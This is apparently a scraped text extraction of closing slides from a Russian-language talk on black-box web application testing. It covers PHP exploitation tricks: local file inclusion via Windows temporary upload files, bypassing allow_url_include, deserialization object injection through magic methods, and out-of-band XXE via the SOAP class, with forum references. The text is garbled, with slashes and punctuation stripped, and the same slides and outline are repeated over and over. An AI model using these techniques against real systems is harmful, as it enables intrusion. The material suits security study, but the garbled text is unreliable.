  • Заключение
  • Спасибо за внимание
Page 44: Blackbox-тестирование веб-приложений

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 45: Blackbox-тестирование веб-приложений

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 46: Blackbox-тестирование веб-приложений

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 47: Blackbox-тестирование веб-приложений

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 48: Blackbox-тестирование веб-приложений

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 49: Blackbox-тестирование веб-приложений

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 50: Blackbox-тестирование веб-приложений

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание